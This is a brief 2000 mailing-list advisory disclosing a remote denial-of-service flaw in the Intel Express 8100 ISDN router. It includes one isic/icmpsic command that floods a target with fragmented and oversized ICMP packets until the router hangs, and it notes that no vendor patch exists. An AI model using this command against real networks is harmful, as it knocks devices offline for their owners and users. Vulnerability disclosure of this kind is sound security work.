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Remote Dos attack against Intel express 8100 router

daemon@ATHENA.MIT.EDU (Dimuthu Parussalla)
Fri May 19 20:28:38 2000

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Date:         Fri, 19 May 2000 11:13:28 +1000
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From: Dimuthu Parussalla <dparussalla@BAYSIDEGRP.COM.AU>
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Remote Dos attack against Intel express 8100 router
---------------------------------------------------

Intel express 8100 isdn router vulnerable for remote icmp fragmented packets
and oversize packets.

exploit demonstrate as follows..


Download libnet and isic-0.05 test following exploit. And do the following
command to generate oversized and fragmented packets.

./icmpsic -s 127.0.0.1,23 -d <target.router.ip.address> -F 100


After a couple of minutes router hangs.

No patch from the vendor yet

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